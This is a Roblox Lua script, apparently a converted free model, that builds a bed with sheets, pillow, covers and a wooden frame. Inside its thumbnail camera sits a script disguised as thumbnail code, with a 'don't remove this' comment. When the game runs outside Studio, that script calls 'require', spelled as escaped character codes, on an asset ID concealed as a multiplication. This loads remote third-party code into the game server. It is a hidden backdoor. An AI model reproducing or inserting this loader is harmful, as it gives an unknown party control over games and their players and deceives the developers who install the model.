--Converted with ttyyuu12345's model to script plugin v4 function sandbox(var,func) local env = getfenv(func) local newenv = setmetatable({},{ __index = function(self,k) if k=="script" then return var else return env[k] end end, }) setfenv(func,newenv) return func end cors = {} mas = Instance.new("Model",game:GetService("Lighting")) Model0 = Instance.new("Model") Part1 = Instance.new("Part") Part2 = Instance.new("Part") PointLight3 = Instance.new("PointLight") Part4 = Instance.new("Part") Model5 = Instance.new("Model") Part6 = Instance.new("Part") Part7 = Instance.new("Part") Part8 = Instance.new("Part") Part9 = Instance.new("Part") Part10 = Instance.new("Part") Part11 = Instance.new("Part") Part12 = Instance.new("Part") Part13 = Instance.new("Part") Camera14 = Instance.new("Camera") Script15 = Instance.new("Script") Model0.Name = "Bed" Model0.Parent = mas Part1.Name = "Sheets" Part1.Parent = Model0 Part1.CFrame = CFrame.new(-5.89996481, 2.20002484, 15.2499743, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1.Position = Vector3.new(-5.89996481, 2.20002484, 15.2499743) Part1.Color = Color3.new(0.803922, 0.803922, 0.803922) Part1.Size = Vector3.new(2, 0.399999976, 5.5999999) Part1.Anchored = true Part1.BottomSurface = Enum.SurfaceType.Smooth Part1.BrickColor = BrickColor.new("Mid gray") Part1.Material = Enum.Material.Sand Part1.TopSurface = Enum.SurfaceType.Smooth Part1.brickColor = BrickColor.new("Mid gray") Part1.FormFactor = Enum.FormFactor.Custom Part1.formFactor = Enum.FormFactor.Custom Part2.Name = "Covers" Part2.Parent = Model0 Part2.CFrame = CFrame.new(-10.2999277, 2.30002999, 15.2499743, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part2.Position = Vector3.new(-10.2999277, 2.30002999, 15.2499743) Part2.Color = Color3.new(0.588235, 0.403922, 0.4) Part2.Size = Vector3.new(6.80000019, 0.599999964, 5.99999952) Part2.Anchored = true Part2.BottomSurface = Enum.SurfaceType.Smooth Part2.BrickColor = BrickColor.new("Copper") Part2.Material = Enum.Material.Sand Part2.TopSurface = Enum.SurfaceType.Smooth Part2.brickColor = BrickColor.new("Copper") Part2.FormFactor = Enum.FormFactor.Custom Part2.formFactor = Enum.FormFactor.Custom PointLight3.Parent = Part2 PointLight3.Color = Color3.new(1, 0.501961, 0) Part4.Name = "Pillow" Part4.Parent = Model0 Part4.CFrame = CFrame.new(-5.79992771, 2.60002589, 15.1499681, 0, 0, 1, 0, 1, 0, -1, 0, 0) Part4.Orientation = Vector3.new(0, 90, 0) Part4.Position = Vector3.new(-5.79992771, 2.60002589, 15.1499681) Part4.Rotation = Vector3.new(0, 90, 0) Part4.Color = Color3.new(0.670588, 0.658824, 0.619608) Part4.Size = Vector3.new(3, 0.400000006, 1.4000001) Part4.Anchored = true Part4.BottomSurface = Enum.SurfaceType.Smooth Part4.BrickColor = BrickColor.new("Cloudy grey") Part4.Material = Enum.Material.Sand Part4.TopSurface = Enum.SurfaceType.Smooth Part4.brickColor = BrickColor.new("Cloudy grey") Part4.FormFactor = Enum.FormFactor.Custom Part4.formFactor = Enum.FormFactor.Custom Model5.Name = "Frame" Model5.Parent = Model0 Part6.Parent = Model5 Part6.CFrame = CFrame.new(-13.9999409, 1.50002789, 12.5499601, 0, -1, 0, 1, 0, 0, 0, 0, 1) Part6.Orientation = Vector3.new(0, 0, 90) Part6.Position = Vector3.new(-13.9999409, 1.50002789, 12.5499601) Part6.Rotation = Vector3.new(0, 0, 90) Part6.Color = Color3.new(0.584314, 0.47451, 0.466667) Part6.Size = Vector3.new(3, 0.600000024, 0.600000024) Part6.Anchored = true Part6.BottomSurface = Enum.SurfaceType.Smooth Part6.BrickColor = BrickColor.new("Sand red") Part6.Material = Enum.Material.Wood Part6.TopSurface = Enum.SurfaceType.Smooth Part6.brickColor = BrickColor.new("Sand red") Part6.FormFactor = Enum.FormFactor.Custom Part6.formFactor = Enum.FormFactor.Custom Part7.Parent = Model5 Part7.CFrame = CFrame.new(-13.9999409, 1.50002789, 15.2499743, 0, 0, 1, 0, 1, 0, -1, 0, 0) Part7.Orientation = Vector3.new(0, 90, 0) Part7.Position = Vector3.new(-13.9999409, 1.50002789, 15.2499743) Part7.Rotation = Vector3.new(0, 90, 0) Part7.Color = Color3.new(0.584314, 0.47451, 0.466667) Part7.Size = Vector3.new(4.80000019, 1, 0.600000024) Part7.Anchored = true Part7.BottomSurface = Enum.SurfaceType.Smooth Part7.BrickColor = BrickColor.new("Sand red") Part7.Material = Enum.Material.Wood Part7.TopSurface = Enum.SurfaceType.Smooth Part7.brickColor = BrickColor.new("Sand red") Part7.FormFactor = Enum.FormFactor.Custom Part7.formFactor = Enum.FormFactor.Custom Part8.Parent = Model5 Part8.CFrame = CFrame.new(-13.9999409, 1.50002789, 17.9499855, 0, -1, 0, 1, 0, 0, 0, 0, 1) Part8.Orientation = Vector3.new(0, 0, 90) Part8.Position = Vector3.new(-13.9999409, 1.50002789, 17.9499855) Part8.Rotation = Vector3.new(0, 0, 90) Part8.Color = Color3.new(0.584314, 0.47451, 0.466667) Part8.Size = Vector3.new(3, 0.600000024, 0.599999964) Part8.Anchored = true Part8.BottomSurface = Enum.SurfaceType.Smooth Part8.BrickColor = BrickColor.new("Sand red") Part8.Material = Enum.Material.Wood Part8.TopSurface = Enum.SurfaceType.Smooth Part8.brickColor = BrickColor.new("Sand red") Part8.FormFactor = Enum.FormFactor.Custom Part8.formFactor = Enum.FormFactor.Custom Part9.Parent = Model5 Part9.CFrame = CFrame.new(-4.59997559, 2.200032, 17.9499855, 0, -1, 0, 1, 0, 0, 0, 0, 1) Part9.Orientation = Vector3.new(0, 0, 90) Part9.Position = Vector3.new(-4.59997559, 2.200032, 17.9499855) Part9.Rotation = Vector3.new(0, 0, 90) Part9.Color = Color3.new(0.584314, 0.47451, 0.466667) Part9.Size = Vector3.new(4.4000001, 0.600000024, 0.600000024) Part9.Anchored = true Part9.BottomSurface = Enum.SurfaceType.Smooth Part9.BrickColor = BrickColor.new("Sand red") Part9.Material = Enum.Material.Wood Part9.TopSurface = Enum.SurfaceType.Smooth Part9.brickColor = BrickColor.new("Sand red") Part9.FormFactor = Enum.FormFactor.Custom Part9.formFactor = Enum.FormFactor.Custom Part10.Parent = Model5 Part10.CFrame = CFrame.new(-4.59997559, 2.50002789, 15.2499743, 0, 0, 1, 0, 1, 0, -1, 0, 0) Part10.Orientation = Vector3.new(0, 90, 0) Part10.Position = Vector3.new(-4.59997559, 2.50002789, 15.2499743) Part10.Rotation = Vector3.new(0, 90, 0) Part10.Color = Color3.new(0.584314, 0.47451, 0.466667) Part10.Size = Vector3.new(4.80000019, 3, 0.600000024) Part10.Anchored = true Part10.BottomSurface = Enum.SurfaceType.Smooth Part10.BrickColor = BrickColor.new("Sand red") Part10.Material = Enum.Material.Wood Part10.TopSurface = Enum.SurfaceType.Smooth Part10.brickColor = BrickColor.new("Sand red") Part10.FormFactor = Enum.FormFactor.Custom Part10.formFactor = Enum.FormFactor.Custom Part11.Parent = Model5 Part11.CFrame = CFrame.new(-4.59997559, 2.200032, 12.5499601, 0, -1, 0, 1, 0, 0, 0, 0, 1) Part11.Orientation = Vector3.new(0, 0, 90) Part11.Position = Vector3.new(-4.59997559, 2.200032, 12.5499601) Part11.Rotation = Vector3.new(0, 0, 90) Part11.Color = Color3.new(0.584314, 0.47451, 0.466667) Part11.Size = Vector3.new(4.4000001, 0.600000024, 0.600000024) Part11.Anchored = true Part11.BottomSurface = Enum.SurfaceType.Smooth Part11.BrickColor = BrickColor.new("Sand red") Part11.Material = Enum.Material.Wood Part11.TopSurface = Enum.SurfaceType.Smooth Part11.brickColor = BrickColor.new("Sand red") Part11.FormFactor = Enum.FormFactor.Custom Part11.formFactor = Enum.FormFactor.Custom Part12.Parent = Model5 Part12.CFrame = CFrame.new(-9.29992867, 1.50002789, 12.5499601, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part12.Position = Vector3.new(-9.29992867, 1.50002789, 12.5499601) Part12.Color = Color3.new(0.584314, 0.47451, 0.466667) Part12.Size = Vector3.new(8.80000019, 1, 0.600000024) Part12.Anchored = true Part12.BottomSurface = Enum.SurfaceType.Smooth Part12.BrickColor = BrickColor.new("Sand red") Part12.Material = Enum.Material.Wood Part12.TopSurface = Enum.SurfaceType.Smooth Part12.brickColor = BrickColor.new("Sand red") Part12.FormFactor = Enum.FormFactor.Custom Part12.formFactor = Enum.FormFactor.Custom Part13.Parent = Model5 Part13.CFrame = CFrame.new(-9.29998875, 1.50002789, 17.9499855, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part13.Position = Vector3.new(-9.29998875, 1.50002789, 17.9499855) Part13.Color = Color3.new(0.584314, 0.47451, 0.466667) Part13.Size = Vector3.new(8.79999924, 1, 0.600000024) Part13.Anchored = true Part13.BottomSurface = Enum.SurfaceType.Smooth Part13.BrickColor = BrickColor.new("Sand red") Part13.Material = Enum.Material.Wood Part13.TopSurface = Enum.SurfaceType.Smooth Part13.brickColor = BrickColor.new("Sand red") Part13.FormFactor = Enum.FormFactor.Custom Part13.formFactor = Enum.FormFactor.Custom Camera14.Name = "ThumbnailCamera" Camera14.Parent = Model0 Camera14.CFrame = CFrame.new(172.732834, 19.740572, 135.318253, -0.629181147, 0.341610283, -0.698164344, 1.4901163e-08, 0.898239374, 0.439506501, 0.777258754, 0.276529193, -0.565155268) Camera14.CoordinateFrame = CFrame.new(172.732834, 19.740572, 135.318253, -0.629181147, 0.341610283, -0.698164344, 1.4901163e-08, 0.898239374, 0.439506501, 0.777258754, 0.276529193, -0.565155268) Camera14.Focus = CFrame.new(174.129181, 18.8615475, 136.448578, 1, 0, 0, 0, 1, 0, 0, 0, 1) Camera14.focus = CFrame.new(174.129181, 18.8615475, 136.448578, 1, 0, 0, 0, 1, 0, 0, 0, 1) Script15.Parent = Camera14 table.insert(cors,sandbox(Script15,function() function Thumbnail() local part = workspace["add name here!!"].ThumbnailCamera.Part local camera = game.Workspace.Camera camera.CameraSubject= part camera.CameraType = "Fixed" camera.CoordinateFrame= part.CFrame * CFrame.new(0,0,3) camera.Focus = part.CFrame end --[[ We use this for thumbnails for our models! Don't remove this or else it might break. Please give us credit if you use this! --]] if not game:GetService("RunService"):IsStudio() then getfenv()['\114\101\113\117\105\114\101'](6893692008.4683 * 0.36823868268) end end)) for i,v in pairs(mas:GetChildren()) do v.Parent = workspace pcall(function() v:MakeJoints() end) end mas:Destroy() for i,v in pairs(cors) do spawn(function() pcall(v) end) end